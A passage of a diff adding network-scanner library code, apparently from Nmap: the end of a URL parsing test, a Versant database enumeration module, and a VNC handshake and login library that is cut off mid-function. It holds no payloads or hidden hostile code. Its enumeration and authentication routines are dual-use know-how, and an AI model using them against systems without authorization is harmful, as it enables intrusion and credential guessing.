+ { _url = "http://dummy@example.com:1234/example.ext/another.php;k1=v1?k2=v2#k3=v3",
+ _res = {
+ scheme = "http",
+ authority = "dummy@example.com:1234",
+ userinfo = "dummy",
+ user = "dummy",
+ host = "example.com",
+ port = 1234,
+ path = "/example.ext/another.php",
+ params = "k1=v1",
+ query = "k2=v2",
+ fragment = "k3=v3",
+ is_folder = false,
+ extension = "php",
+ },
+ _nil = {"password"}
+ },
+ { _url = "//example/example.folder/?k1=v1&k2=v2#k3/v3.bar",
+ _res = {
+ authority = "example",
+ host = "example",
+ path = "/example.folder/",
+ query = "k1=v1&k2=v2",
+ fragment = "k3/v3.bar",
+ is_folder = true,
+ },
+ _nil = {"scheme", "userinfo", "port", "params", "extension"}
+ },
+}
+for _, t in ipairs(test_urls) do
+ local result = parse(t._url)
+ for _, nv in ipairs(t._nil) do
+ test_suite:add_test(unittest.is_nil(result[nv]), nv)
+ end
+ for k, v in pairs(t._res) do
+ test_suite:add_test(unittest.equal(result[k], v), k)
+ end
+ test_suite:add_test(unittest.equal(build(t._res), t._url), "build test url")
+ test_suite:add_test(unittest.equal(build(result), t._url), "parse/build round trip")
+end
+
+
+-- path merging tests for compliance with RFC 3986, section 5.2
+-- https://tools.ietf.org/html/rfc3986#section-5.2
+local absolute_path_tests = { -- {bpath, rpath, expected}
+ {'a', '.', '' },
+ {'a', './', '' },
+ {'..', 'b', 'b' },
+ {'../', 'b', 'b' },
+ {'/', '..', '/' },
+ {'/', '../', '/' },
+ {'/../', '..', '/' },
+ {'/../', '../', '/' },
+ {'a/..', 'b', 'b' },
+ {'a/../', 'b', 'b' },
+ {'/a/..', '', '/' },
+ {'', '/a/..', '/' },
+ {'', '/a//..', '/a/' },
+ }
+for k, v in ipairs(absolute_path_tests) do
+ local bpath, rpath, expected = table.unpack(v)
+ test_suite:add_test(unittest.equal(absolute_path(bpath, rpath), expected),
+ ("absolute_path #%d (%q,%q)"):format(k, bpath, rpath))
+end
+
+return _ENV;
diff --git a/nselib/versant.lua b/nselib/versant.lua
new file mode 100644
index 0000000..27252a5
--- /dev/null
+++ b/nselib/versant.lua
@@ -0,0 +1,284 @@
+---
+-- A tiny library allowing some basic information enumeration from
+-- Versant object database software (see
+-- http://en.wikipedia.org/wiki/Versant_Corporation). The code is
+-- entirely based on packet dumps captured when using the Versant
+-- Management Center administration application.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local stdnse = require "stdnse"
+local match = require "match"
+local nmap = require "nmap"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("versant", stdnse.seeall)
+
+Versant = {
+
+ -- fallback to these constants when version and user are not given
+ USER = "nmap",
+ VERSION = "8.0.2",
+
+ -- Creates an instance of the Versant class
+ -- @param host table
+ -- @param port table
+ -- @return o new instance of Versant
+ new = function(self, host, port)
+ local o = { host = host, port = port, socket = nmap.new_socket() }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects a socket to the Versant server
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message if status is false
+ connect = function(self)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ -- Closes the socket
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message if status is false
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ -- Sends command to the server
+ -- @param cmd string containing the command to run
+ -- @param arg string containing any arguments
+ -- @param user [optional] string containing the user name
+ -- @param ver [optional] string containing the version number
+ -- @return status true on success, false on failure
+ -- @return data opaque string containing the response
+ sendCommand = function(self, cmd, arg, user, ver)
+
+ user = user or Versant.USER
+ ver = ver or Versant.VERSION
+ arg = arg or ""
+
+ local data = stdnse.fromhex("000100000000000000020002000000010000000000000000000000000000000000010000")
+ .. string.pack("zzz",
+ cmd,
+ user,
+ ver
+ )
+ -- align to even 4 bytes
+ data = data .. string.rep("\0", 4 - ((#data % 4) or 0))
+
+ data = data .. stdnse.fromhex("0000000b000001000000000000000000")
+ .. string.pack("zxxxxxxxxxxz",
+ ("%s:%d"):format(self.host.ip, self.port.number),
+ arg
+ )
+
+ data = data .. string.rep("\0", 2048 - #data)
+
+ local status, err = self.socket:send(data)
+ if ( not(status) ) then
+ return false, "Failed to send request to server"
+ end
+
+ local status, data = self.socket:receive_buf(match.numbytes(2048), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ return status, data
+ end,
+
+ -- Get database node information
+ -- @return status true on success, false on failure
+ -- @return result table containing an entry for each database. Each entry
+ -- contains a table with the following fields:
+ -- <code>name</code> - the database name
+ -- <code>owner</code> - the database owner
+ -- <code>created</code> - the date when the database was created
+ -- <code>version</code> - the database version
+ getNodeInfo = function(self)
+ local status, data = self:sendCommand("o_getnodeinfo", "-nodeinfo")
+ if ( not(status) ) then
+ return false, data
+ end
+
+ status, data = self.socket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ local db_count = string.unpack(">I4", data)
+ if ( db_count == 0 ) then
+ return false, "Database count was zero"
+ end
+
+ status, data = self.socket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ local buf_size = string.unpack(">I4", data)
+ local dbs = {}
+
+ for i=1, db_count do
+ status, data = self.socket:receive_buf(match.numbytes(buf_size), true)
+ local db = {}
+
+ db.name = string.unpack("z", data, 23)
+ db.owner = string.unpack("z", data, 599)
+ db.created= string.unpack("z", data, 631)
+ db.version= string.unpack("z", data, 663)
+
+ -- remove trailing line-feed
+ db.created = db.created:match("^(.-)\n*$")
+
+ table.insert(dbs, db)
+ end
+ return true, dbs
+ end,
+
+ -- Gets the database OBE port, this port is dynamically allocated once this
+ -- command completes.
+ --
+ -- @return status true on success, false on failure
+ -- @return port table containing the OBE port
+ getObePort = function(self)
+
+ local status, data = self:sendCommand("o_oscp", "-utility")
+ if ( not(status) ) then
+ return false, data
+ end
+
+ status, data = self.socket:receive_buf(match.numbytes(256), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ local success, pos = string.unpack(">I4", data)
+ if ( success ~= 0 ) then
+ return false, "Response contained invalid data"
+ end
+
+ local port = { protocol = "tcp" }
+ port.number, pos = string.unpack(">I2", data, pos)
+
+ return true, port
+ end,
+
+
+ -- Gets the XML license file from the database
+ -- @return status true on success, false on failure
+ -- @return data string containing the XML license file
+ getLicense = function(self)
+
+ local status, data = self:sendCommand("o_licfile", "-license")
+ if ( not(status) ) then
+ return false, data
+ end
+
+ status, data = self.socket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ local len = string.unpack(">I4", data)
+ if ( len == 0 ) then
+ return false, "Failed to retrieve license file"
+ end
+
+ status, data = self.socket:receive_buf(match.numbytes(len), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ return true, data
+ end,
+
+ -- Gets the TCP port for a given database
+ -- @param db string containing the database name
+ -- @return status true on success, false on failure
+ -- @return port table containing the database port
+ getDbPort = function(self, db)
+ local status, data = self:sendCommand(db, "")
+ if ( not(status) ) then
+ return false, data
+ end
+
+ if ( not(status) ) then
+ return false, "Failed to connect to database"
+ end
+
+ local port = { protocol = "tcp" }
+ port.number = string.unpack(">I4", data, 27)
+ if ( port == 0 ) then
+ return false, "Failed to determine database port"
+ end
+ return true, port
+ end,
+}
+
+Versant.OBE = {
+
+ -- Creates a new versant OBE instance
+ -- @param host table
+ -- @param port table
+ -- @return o new instance of Versant OBE
+ new = function(self, host, port)
+ local o = { host = host, port = port, socket = nmap.new_socket() }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects a socket to the Versant server
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message if status is false
+ connect = function(self)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ -- Closes the socket
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message if status is false
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ -- Get database information including file paths and hostname
+ -- @return status true on success false on failure
+ -- @return result table containing the fields:
+ -- <code>root_path</code> - the database root directory
+ -- <code>db_path</code> - the database directory
+ -- <code>lib_path</code> - the library directory
+ -- <code>hostname</code> - the database host name
+ getVODInfo = function(self)
+ local data = stdnse.fromhex("1002005d00000000000100000000000d000000000000000000000000") --28
+ .. "-noprint -i " --12
+ .. string.rep("\0", 216) -- 256 - (28 + 12)
+
+ self.socket:send(data)
+ local status, data = self.socket:receive_buf(match.numbytes(256), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ local len = string.unpack(">I4", data, 13)
+ status, data = self.socket:receive_buf(match.numbytes(len), true)
+ if ( not(status) ) then
+ return false, "Failed to read response from server"
+ end
+
+ local result = {}
+ local offset = 13
+ result.version = string.unpack("z", data)
+
+ for _, item in ipairs({"root_path", "db_path", "lib_path", "hostname"}) do
+ result[item] = string.unpack("z", data, offset)
+ offset = offset + 256
+ end
+ return true, result
+ end,
+}
+
+return _ENV;
diff --git a/nselib/vnc.lua b/nselib/vnc.lua
new file mode 100644
index 0000000..3f70617
--- /dev/null
+++ b/nselib/vnc.lua
@@ -0,0 +1,828 @@
+---
+-- The VNC library provides some basic functionality needed in order to
+-- communicate with VNC servers, and derivatives such as Tight- or Ultra-
+-- VNC.
+--
+-- Summary
+-- -------
+-- The library currently supports the VNC Authentication security type only.
+-- This security type is supported by default in VNC, TightVNC and
+-- "Remote Desktop Sharing" in eg. Ubuntu. For servers that do not support
+-- this authentication security type the login method will fail.
+--
+-- Overview
+-- --------
+-- The library contains the following classes:
+--
+-- o VNC
+-- - This class contains the core functions needed to communicate with VNC
+--
+
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+-- Version 0.1
+-- Created 07/07/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+local bits = require "bits"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+_ENV = stdnse.module("vnc", stdnse.seeall)
+
+local HAVE_SSL, openssl = pcall(require,'openssl')
+
+VENCRYPT_SUBTYPES = {
+ PLAIN = 256,
+ TLSNONE = 257,
+ TLSVNC = 258,
+ TLSPLAIN = 259,
+ X509NONE = 260,
+ X509VNC = 261,
+ X509PLAIN = 262,
+ X509SASL = 263,
+ TLSSASL = 264,
+}
+VENCRYPT_SUBTYPES_STR = {
+ [256] = "Plain",
+ [257] = "None, Anonymous TLS",
+ [258] = "VNC auth, Anonymous TLS",
+ [259] = "Plain, Anonymous TLS",
+ [260] = "None, Server-authenticated TLS",
+ [261] = "VNC auth, Server-authenticated TLS",
+ [262] = "Plain, Server-authenticated TLS",
+ [263] = "SASL, Server-authenticated TLS",
+ [264] = "SASL, Anonymous TLS",
+}
+
+local function process_error(socket)
+ local status, tmp = socket:receive_buf(match.numbytes(4), true)
+ if( not(status) ) then
+ return false, "VNC:handshake failed to retrieve error message"
+ end
+ local len = string.unpack(">I4", tmp)
+ local status, err = socket:receive_buf(match.numbytes(len), true)
+ if( not(status) ) then
+ return false, "VNC:handshake failed to retrieve error message"
+ end
+ return false, err
+end
+
+local function first_of (list, lookup)
+ for i=1, #list do
+ if tableaux.contains(lookup, list[i]) then
+ return list[i]
+ end
+ end
+end
+
+-- generalized output formatter for security types and subtypes
+local function get_types_as_table (types, lookup)
+ local tmp = {}
+ local typemt = {
+ __tostring = function(me)
+ return ("%s (%s)"):format(me.name, me.type)
+ end
+ }
+ for i=1, types.count do
+ local t = {name = lookup[types.types[i]] or "Unknown security type", type=types.types[i]}
+ setmetatable(t, typemt)
+ table.insert( tmp, t )
+ end
+ return tmp
+end
+
+VNC = {
+
+ versions = {
+ ["RFB 003.003"] = "3.3",
+ ["RFB 003.007"] = "3.7",
+ ["RFB 003.008"] = "3.8",
+
+ -- Mac Screen Sharing, could probably be used to fingerprint OS
+ ["RFB 003.889"] = "3.889",
+ },
+
+ sectypes = {
+ INVALID = 0,
+ NONE = 1,
+ VNCAUTH = 2,
+ RA2 = 5,
+ RA2NE = 6,
+ TIGHT = 16,
+ ULTRA = 17,
+ TLS = 18,
+ VENCRYPT = 19,
+ GTK_VNC_SASL = 20,
+ MD5 = 21,
+ COLIN_DEAN_XVP = 22,
+ MAC_OSX_SECTYPE_30 = 30,
+ MAC_OSX_SECTYPE_35 = 35,
+ MSLOGON = 0xfffffffa,
+ },
+
+ -- Security types are fetched from the rfbproto.pdf
+ sectypes_str = {
+ [0] = "Invalid security type",
+ [1] = "None",
+ [2] = "VNC Authentication",
+ [5] = "RA2",
+ [6] = "RA2ne",
+ [16]= "Tight",
+ [17]= "Ultra",
+ [18]= "TLS",
+ [19]= "VeNCrypt",
+ [20]= "GTK-VNC SASL",
+ [21]= "MD5 hash authentication",
+ [22]= "Colin Dean xvp",
+ -- Mac OS X screen sharing uses 30 and 35
+ [30]= "Apple Remote Desktop",
+ [35]= "Mac OS X security type",
+ [0xfffffffa] = "UltraVNC MS Logon",
+ },
+
+ new = function(self, host, port, socket)
+ local o = {
+ host = host,
+ port = port,
+ socket = socket or nmap.new_socket(),
+ }
+ o.socket:set_timeout(5000)
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects the VNC socket
+ connect = function(self)
+ return self.socket:connect(self.host, self.port, "tcp")
+ end,
+
+ --- Disconnects the VNC socket
+ disconnect = function(self)
+ return self.socket:close()
+ end,
+
+ --- Performs the VNC handshake and determines
+ -- * The RFB Protocol to use
+ -- * The supported authentication security types
+ --
+ -- @return status, true on success, false on failure
+ -- @return error string containing error message if status is false
+ handshake = function(self)
+ local status, data = self.socket:receive_buf(match.pattern_limit("[\r\n]+", 16), true)
+ if not status or not string.match(data, "^RFB %d%d%d%.%d%d%d[\r\n]") then
+ stdnse.debug1("ERROR: Not a VNC port. Banner: %s", data)
+ return false, "Not a VNC port."
+ end
+ data = data:sub(1,11)
+ local vncsec = {
+ count = 1,
+ types = {}
+ }
+
+ if ( not(status) ) then
+ return status, "ERROR: VNC:handshake failed to receive protocol version"
+ end
+
+ self.protover = VNC.versions[data]
+ local cli_version = data
+ if ( not(self.protover) ) then
+ stdnse.debug1("ERROR: VNC:handshake unsupported version (%s)", data)
+ self.protover = string.match(data, "^RFB (%d+%.%d+)")
+ --return false, ("Unsupported version (%s)"):format(data:sub(1,11))
+ local versions = {
+ "RFB 003.003",
+ "RFB 003.007",
+ "RFB 003.008",
+ "RFB 003.889",
+ }
+ for i=1, #versions do
+ if versions[i] >= data then
+ break
+ end
+ cli_version = versions[i]
+ end
+ end
+
+ self.client_version = VNC.versions[cli_version or "RFB 003.889"]
+ status = self.socket:send( (cli_version or "RFB 003.889") .. "\n" )
+ if ( not(status) ) then
+ stdnse.debug1("ERROR: VNC:handshake failed to send client version")
+ return false, "ERROR: VNC:handshake failed"
+ end
+
+ if ( self.client_version == "3.3" ) then
+ local status, tmp = self.socket:receive_buf(match.numbytes(4), true)
+ if( not(status) ) then
+ return false, "VNC:handshake failed to receive security data"
+ end
+
+ vncsec.types[1] = string.unpack(">I4", tmp)
+ self.vncsec = vncsec
+
+ -- do we have an invalid security type, if so we need to handle an
+ -- error condition
+ if ( vncsec.types[1] == 0 ) then
+ return process_error(self.socket)
+ end
+ else
+ local status, tmp = self.socket:receive_buf(match.numbytes(1), true)
+ if ( not(status) ) then
+ stdnse.debug1("ERROR: VNC:handshake failed to receive security data")
+ return false, "ERROR: VNC:handshake failed to receive security data"
+ end
+
+ vncsec.count = string.unpack("B", tmp)
+ if ( vncsec.count == 0 ) then
+ return process_error(self.socket)
+ end
+ status, tmp = self.socket:receive_buf(match.numbytes(vncsec.count), true)
+
+ if ( not(status) ) then
+ stdnse.debug1("ERROR: VNC:handshake failed to receive security data")
+ return false, "ERROR: VNC:handshake failed to receive security data"
+ end
+
+ for i=1, vncsec.count do
+ table.insert( vncsec.types, (string.unpack("B", tmp, i)) )
+ end
+ self.vncsec = vncsec
+ end
+
+ return true
+ end,
+
+ --- Creates the password bit-flip needed before DES encryption
+ --
+ -- @param password string containing the password to process
+ -- @return password string containing the processed password
+ createVNCDESKey = function( self, password )
+ -- exactly 8 chars needed
+ if #password > 8 then
+ password = password:sub(1,8)
+ elseif #password < 8 then
+ password = password .. string.rep('\0', 8 - #password)
+ end
+ return password:gsub(".", function(c) return string.char(bits.reverse(c:byte())) end)
+ end,
+
+ --- Encrypts a password with the server's challenge to create the challenge response
+ --
+ -- @param password string containing the password to process
+ -- @param challenge string containing the server challenge
+ -- @return the challenge response string
+ encryptVNCDES = function (self, password, challenge)
+ local key = self:createVNCDESKey(password)
+ return openssl.encrypt("des-ecb", key, nil, challenge, false)
+ end,
+
+ sendSecType = function (self, sectype)
+ return self.socket:send( string.pack("B", sectype))
+ end,
+
+ --- Attempts to login to the VNC service using any supported method
+ --
+ -- @param username string, could be anything when VNCAuth is used
+ -- @param password string containing the password to use for authentication
+ -- @param authtype The VNC auth type from the <code>VNC.sectypes</code> table (default: best available method)
+ -- @return status true on success, false on failure
+ -- @return err string containing error message when status is false
+ login = function( self, username, password, authtype )
+ if ( not(password) ) then
+ return false, "No password was supplied"
+ end
+
+ if not authtype then
+ if self:supportsSecType( VNC.sectypes.NONE ) then
+ self:sendSecType(VNC.sectypes.NONE)
+ return self:login_none()
+
+ elseif self:supportsSecType( VNC.sectypes.VNCAUTH ) then
+ self:sendSecType(VNC.sectypes.VNCAUTH)
+ return self:login_vncauth(username, password)
+
+ elseif self:supportsSecType( VNC.sectypes.TLS ) then
+ self:sendSecType(VNC.sectypes.TLS)
+ return self:login_tls(username, password)
+
+ elseif self:supportsSecType( VNC.sectypes.VENCRYPT ) then
+ self:sendSecType(VNC.sectypes.VENCRYPT)
+ return self:login_vencrypt(username, password)
+
+ elseif self:supportsSecType( VNC.sectypes.TIGHT ) then
+ self:sendSecType(VNC.sectypes.TIGHT)
+ return self:login_tight(username, password)
+
+ elseif self:supportsSecType( VNC.sectypes.MAC_OSX_SECTYPE_30 ) then
+ self:sendSecType(VNC.sectypes.MAC_OSX_SECTYPE_30)
+ return self:login_ard(username, password)
+
+ else
+ return false, "The server does not support any matching security type"
+ end
+ elseif ( not( self:supportsSecType( authtype ) ) ) then
+ return false, string.format(
+ 'The server does not support the "%s" security type.', VNC.sectypes_str[authtype])
+ end
+
+ end,
+
+ login_none = function (self)
+ if self.client_version == "3.8" then
+ return self:check_auth_result()
+ end
+ -- nothing to do here!
+ return true
+ end,
+
+ --- Attempts to login to the VNC service using VNC Authentication
+ --
+ -- @param username string, could be anything when VNCAuth is used
+ -- @param password string containing the password to use for authentication
+ -- @return status true on success, false on failure
+ -- @return err string containing error message when status is false
+ login_vncauth = function( self, username, password )
+ local status, chall = self.socket:receive_buf(match.numbytes(16), true)
+ if ( not(status) ) then
+ return false, "Failed to receive authentication challenge"
+ end
+
+ local resp = self:encryptVNCDES(password, chall)
+
+ status = self.socket:send( resp )
+ if ( not(status) ) then
+ return false, "Failed to send authentication response to server"
+ end
+ return self:check_auth_result()
+ end,
+
+ check_auth_result = function(self)
+ local status, result = self.socket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return false, "Failed to retrieve authentication status from server"
+ end
+
+ if string.unpack(">I4", result) ~= 0 then
+ return false, "Authentication failed"
+ end
+ return true
+ end,
+
+ handshake_aten = function(self, buffer)
+ -- buffer is 24 bytes, currently unused, no idea what it's for.
+ if #buffer ~= 24 then
+ return false
+ end
+ self.aten = buffer
+ return true
+ end,
+
+ login_aten = function(self, username, password)
+ username = username or ""
+ self.socket:send(username .. ("\0"):rep(24 - #username) .. password .. ("\0"):rep(24 - #password))
+ return self:check_auth_result()
+ end,
+
+ handshake_tight = function(self)
+ -- TightVNC security type
+ -- https://vncdotool.readthedocs.org/en/0.8.0/rfbproto.html#tight-security-type
+ -- Sometimes also ATEN KVM VNC:
+ -- https://github.com/thefloweringash/chicken-aten-ikvm
+ local status, buf = self.socket:receive_bytes(4)
+ if not status then
+ return false, "Failed to get number of tunnels"
+ end
+ -- If it's ATEN, it sends 24 bytes right away. Need to try parsing these
+ -- in case it's TightVNC instead, though.
+ local aten = #buf == 24 and buf
+ local ntunnels, pos = string.unpack(">I4", buf)
+ -- reasonable limits: ATEN might send a huge number here
+ if ntunnels > 0x10000 then
+ return self:handshake_aten(aten)
+ end
+ local tight = {
+ tunnels = {},
+ types = {}
+ }
+ if ntunnels > 0 then
+ local have = #buf - pos + 1
+ if have < 16 * ntunnels then
+ local newbuf
+ status, newbuf = self.socket:receive_bytes(16 * ntunnels - have)
+ if not status then
+ if aten then
+ return self:handshake_aten(aten)
+ end
+ return false, "Failed to get list of tunnels"
+ end
+ buf = buf .. newbuf
+ aten = false -- we must have read something beyond 24 bytes
+ end
+
+ local have_none_tunnel = false
+ for i=1, ntunnels do
+ local tunnel = {}
+ tunnel.code, tunnel.vendor, tunnel.signature, pos = string.unpack(">I4 c4 c8", buf, pos)
+ if tunnel.code == 0 then
+ have_none_tunnel = true
+ end
+ tight.tunnels[#tight.tunnels+1] = tunnel
+ end
+
+ -- at this point, might still be ATEN with a first byte of 1, but chances are it's Tight
+ if have_none_tunnel then
+ -- Try the "NOTUNNEL" tunnel, for simplicity, if it's available.
+ self.socket:send("\0\0\0\0")
+ else
+ -- for now, just return the first one. TODO: choose a supported tunnel type
+ self.socket:send(string.pack(">I4", tight.tunnels[1].code))
+ end
+ end
+
+ local have = #buf - pos + 1
+ if have < 4 then
+ local newbuf
+ status, newbuf = self.socket:receive_bytes(4 - have)
+ if not status then
+ if aten then
+ return self:handshake_aten(aten)
+ end
+ return false, "Failed to get number of Tight auth types"
+ end
+ buf = buf .. newbuf
+ if #buf > 24 then aten = false end
+ end
+ local nauth
+ nauth, pos = string.unpack(">I4", buf, pos)
+ -- reasonable limits: ATEN might send a huge number here
+ if nauth > 0x10000 then
+ return self:handshake_aten(aten)
+ end
+ if nauth > 0 then
+ have = #buf - pos + 1
+ if have < 16 * nauth then
+ local newbuf
+ status, newbuf = self.socket:receive_bytes(16 * nauth - have)
+ if not status then
+ if aten then
+ return self:handshake_aten(aten)
+ end
+ return false, "Failed to get list of Tight auth types"
+ end
+ buf = buf .. newbuf
+ if #buf > 24 then aten = false end
+ end
+
+ for i=1, nauth do
+ local auth = {}
+ auth.code, auth.vendor, auth.signature, pos = string.unpack(">I4 c4 c8", buf, pos)
+ tight.types[#tight.types+1] = auth
+ end
+ end
+
+ if aten and pos < 24 then
+ -- server sent 24 bytes but we could only parse some of them. Probably ATEN KVM
+ return self:handshake_aten(aten)
+ end
+
+ self.tight = tight
+
+ return true
+ end,
+
+ login_tight = function(self, username, password)
+ local status, err = self:handshake_tight()
+ if not status then
+ return status, err
+ end
+
+ if self.aten then
+ return self:login_aten(username, password)
+ end
+
+ if #self.tight.types == 0 then
+ -- nothing further, no auth
+ return true
+ end
+
+ -- choose a supported auth type
+ for _, auth in ipairs({
+ {1, "login_none"},
+ {2, "login_vncauth"},
+ {19, "login_vencrypt"},
+ }) do
+ for _, t in ipairs(self.tight.types) do
+ if t.code == auth[1] then
+ self.socket:send(string.pack(">I4", t.code))
+ return self[auth[2]](self, username, password)
+ end
+ end
+ end
+ return false, "The server does not support any supported Tight security type"
+ end,
+
+ handshake_tls = function(self)
+ local status, err = self.socket:reconnect_ssl()
+ if not status then
+ return false, "Failed to reconnect SSL"
+ end
+
+ local status, tmp = self.socket:receive_buf(match.numbytes(1), true)
+ if ( not(status) ) then
+ stdnse.debug1("ERROR: VNC:handshake failed to receive security data")
+ return false, "ERROR: VNC:handshake failed to receive security data"
+ end
+
+ local vncsec = {
+ count = 1,
+ types = {}
+ }
+ vncsec.count = string.unpack("B", tmp)
+ if ( vncsec.count == 0 ) then
+ return process_error(self.socket)
+ end
+ status, tmp = self.socket:receive_buf(match.numbytes(vncsec.count), true)
+
+ if ( not(status) ) then
+ stdnse.debug1("ERROR: VNC:handshake failed to receive security data")
+ return false, "ERROR: VNC:handshake failed to receive security data"
+ end
+ for i=1, vncsec.count do
+ table.insert( vncsec.types, (string.unpack("B", tmp, i)) )
+ end
+ self.vncsec = vncsec
+ return true
+ end,
+
+ login_tls = function( self, username, password )
+ local status, err = self:handshake_tls()
+ if not status then
+ return status, err
+ end
+ return self:login(username, password)
+ end,
+
+ handshake_vencrypt = function(self)
+ local status, buf = self.socket:receive_buf(match.numbytes(2), true)
+ local maj, min, pos = string.unpack("BB", buf)
+ if maj ~= 0 or min ~= 2 then
+ return false, string.format("Unknown VeNCrypt version: %d.%d", maj, min)
+ end
+ self.socket:send(string.pack("BB", maj, min))
+ status, buf = self.socket:receive_buf(match.numbytes(1), true)
+ status, pos = string.unpack("B", buf)
+ if status ~= 0 then
+ return false, string.format("Server refused VeNCrypt version %d.%d", maj, min)
+ end
+
+ status, buf = self.socket:receive_buf(match.numbytes(1), true)
+ local nauth, pos = string.unpack("B", buf)
+ if nauth == 0 then
+ return false, "No VeNCrypt auth subtypes received"
+ end
+
+ -- vencrypt auth types are u32
+ status, buf = self.socket:receive_buf(match.numbytes(nauth * 4), true)
+ pos = 1
+ local vencrypt = {
+ count = nauth,
+ types = {}
+ }
+ for i=1, nauth do
+ local auth
+ auth, pos = string.unpack(">I4", buf, pos)
+ table.insert(vencrypt.types, auth)
+ end
+ self.vencrypt = vencrypt
+ return true
+ end,
+
+ login_vencrypt = function(self, username, password)
+ local status, err = self:handshake_vencrypt()
+ if not status then
+ return status, err
+ end
+
+ local subauth = first_of({
+ VENCRYPT_SUBTYPES.TLSNONE,
+ VENCRYPT_SUBTYPES.X509NONE,
+ VENCRYPT_SUBTYPES.PLAIN,
+ VENCRYPT_SUBTYPES.TLSPLAIN,
+ VENCRYPT_SUBTYPES.X509PLAIN,
+ VENCRYPT_SUBTYPES.TLSVNC,
+ VENCRYPT_SUBTYPES.X509VNC,
+ -- These not supported yet
+ --VENCRYPT_SUBTYPES.TLSSASL,
+ --VENCRYPT_SUBTYPES.X509SASL,
+ }, self.vencrypt.types)
+
+ if not subauth then
+ return false, "The server does not support any supported security type"
+ end
+
+ self.socket:send(string.pack(">I4", subauth))
+ local status, buf = self.socket:receive_buf(match.numbytes(1), true)
+ if not status or string.byte(buf, 1) ~= 1 then
+ return false, "VeNCrypt auth subtype refused"
+ end
+
+ if subauth == VENCRYPT_SUBTYPES.PLAIN then
+ return self:login_plain(username, password)
+ end
+
+ status, err = self.socket:reconnect_ssl()
+ if not status then
+ return false, "Failed to reconnect SSL to VNC server"
+ end
+
+ if subauth == VENCRYPT_SUBTYPES.TLSNONE or subauth == VENCRYPT_SUBTYPES.X509NONE then
+ return self:check_auth_result()
+ elseif subauth == VENCRYPT_SUBTYPES.TLSVNC or subauth == VENCRYPT_SUBTYPES.X509VNC then
+ return self:login_vncauth(username, password)
+ elseif subauth == VENCRYPT_SUBTYPES.TLSPLAIN or subauth == VENCRYPT_SUBTYPES.X509PLAIN then
+ return self:login_plain(username, password)
+ elseif subauth == VENCRYPT_SUBTYPES.TLSSASL or subauth == VENCRYPT_SUBTYPES.X509SASL then
+ return self:login_sasl(username, password)
+ end
+
+ end,
+
+ login_plain = function(self, username, password)
+ username = username or ""
+ local status = self.socket:send(string.pack(">I4 I4", #username, #password) .. username .. password)
+ if not status then
+ return false, "Failed to send plain auth"
+ end
+
+ return self:check_auth_result()
+ end,
+
+ login_sasl = function(self, username, password)
+ -- TODO: support this!
+ return false, "Unsupported"
+ end,
+
+ login_ard = function(self, username, password)
+ -- Thanks to David Simmons for describing this protocol:
+ -- https://cafbit.com/post/apple_remote_desktop_quirks/
+ local status, buf = self.socket:receive_bytes(4)
+ if not status then
+ return false, "Failed to get auth material lengths"
+ end
+ local gen, keylen, pos = string.unpack(">I2I2", buf)
+ if #buf - (pos - 1) < 2*keylen then
+ local status, buf2 = self.socket:receive_bytes(2*keylen - #buf)
+ if not status then
+ return false, "Failed to get auth material"
+ end
+ buf = buf .. buf2
+ end
+ local modulus, pos = string.unpack("c"..keylen, buf, pos)
+ local pubkey, pos = string.unpack("c"..keylen, buf, pos)
+
+ -- DH key exchange
+ pubkey = openssl.bignum_bin2bn(pubkey)
+ modulus = openssl.bignum_bin2bn(modulus)
+ gen = openssl.bignum_dec2bn(gen)
+
+ local secret = openssl.bignum_pseudo_rand(512) -- 512 bit DH? yeah, ok.
+ local ourkey = openssl.bignum_mod_exp(gen, secret, modulus)
+ local shared = openssl.bignum_mod_exp(pubkey, secret, modulus)
+
+ -- Pad shared secret with nulls
+ shared = openssl.bignum_bn2bin(shared)
+ shared = ('\0'):rep(keylen - #shared) .. shared
+
+ -- Generate AES key as MD5 of shared DH secret
+ local aeskey = openssl.md5(shared)
+
+ -- Encrypt username and password with AES in ECB mode
+ local blob = username .. ('\0'):rep(64 - #username) .. password .. ('\0'):rep(64 - #password)
+ local hash = openssl.encrypt('aes-128-ecb', aeskey, '', blob, false)
+
+ -- Send encrypted blob and DH public key
+ local tmpkey = openssl.bignum_bn2bin(ourkey)
+ -- pad public key on the left with nulls
+ self.socket:send(hash .. ('\0'):rep(keylen - #tmpkey) .. tmpkey)
+
+ return self:check_auth_result()
+ end,
+
+ --- Returns all supported security types as a table
+ --
+ -- @return table containing a entry for each security type
+ getSecTypesAsTable = function( self )
+ return get_types_as_table(self.vncsec, VNC.sectypes_str)
+ end,
+ getVencryptTypesAsTable = function (self)
+ return get_types_as_table(self.vencrypt, VENCRYPT_SUBTYPES_STR)
+ end,
+
+ --- Checks if the supplied security type is supported or not
+ --
+ -- @param sectype number containing the security type to check for
+ -- @return status true if supported, false if not supported
+ supportsSecType = function( self, sectype )
+ for i=1, self.vncsec.count do
